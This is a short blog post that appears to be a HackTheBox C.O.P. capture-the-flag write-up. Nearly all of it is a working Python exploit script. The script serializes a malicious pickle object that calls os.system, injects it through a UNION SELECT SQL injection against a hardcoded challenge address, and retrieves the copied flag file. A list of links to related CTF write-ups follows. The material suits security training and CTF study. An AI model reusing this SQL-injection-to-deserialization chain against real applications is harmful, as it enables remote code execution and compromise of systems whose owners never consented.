C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE
110 words
1 minute
C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE

image

import pickleimport base64import osimport requests
# Payload to be executed on the serverpayload = 'cp flag.txt application/static/achux21.txt'
# Class definition for creating a serialized payload using Pickleclass RCE: def __reduce__(self): return os.system, (payload,)
# If the script is run directly, not imported as a moduleif __name__ == '__main__': # Serialize the payload using Pickle and encode it in base64 var = base64.urlsafe_b64encode(pickle.dumps(RCE())).decode('ascii')
# Craft a URL to trigger the SQL injection vulnerability# The UNION SELECT statement is used to inject the serialized payloadr = requests.get(f"http://167.99.82.136:30931/view/%27%20UNION%20SELECT%27{var}")
# Retrieve the result of the executed payloadflag = requests.get(f"http://167.99.82.136:30931/static/achux21.txt")
# Print the result (flag)print(flag.text)Share Article
If this article helped you, please share it with others!
C.O.P (HackTheBox): SQL Injection → Pickle Deserialization RCE
https://achux21.github.io/posts/cop/ SQL / NoSQL Challenges (Root-Me): SQLi Auth Bypass, GBK, Blind NoSQL Injection
UofTCTF 2024: OS Command Injection via FFmpeg & Web Cache Deception
Related Posts Smart
1
Spooky Query Leaks (USC-CTF 2024): SQLite3 SQL Injection via UPSERT
Web Exploitation Exploiting an unsanitized INSERT statement in a Flask/SQLite3 registration form — using ON CONFLICT DO UPDATE to overwrite the admin password and capture the flag.
2
SQL / NoSQL Challenges (Root-Me): SQLi Auth Bypass, GBK, Blind NoSQL Injection
Web Exploitation Solving Root-Me's SQL and NoSQL web challenges — SQL injection authentication bypass, GBK character encoding exploit, and blind NoSQL injection via regex.
3
Topology (HackTheBox): LaTeX Injection → Local File Read
Box Exploiting a LaTeX injection vulnerability in a web application to read local files and gain initial access to the system.
4
TwoMillion (HackTheBox): API Manipulation → Command Injection → Kernel Exploit
Box Manipulating the HackTheBox API endpoints to escalate privileges, exploiting a command injection in the admin panel, and using an old kernel exploit for root.
5
Sau (HackTheBox): SSRF via Request-Baskets → Maltrail RCE (CVE-2023-32629)
Box Leveraging a Server-Side Request Forgery in Request-Baskets to access an internal Maltrail instance, then exploiting an unauthenticated command injection (CVE-2023-32629) for shell access.
Random Posts Random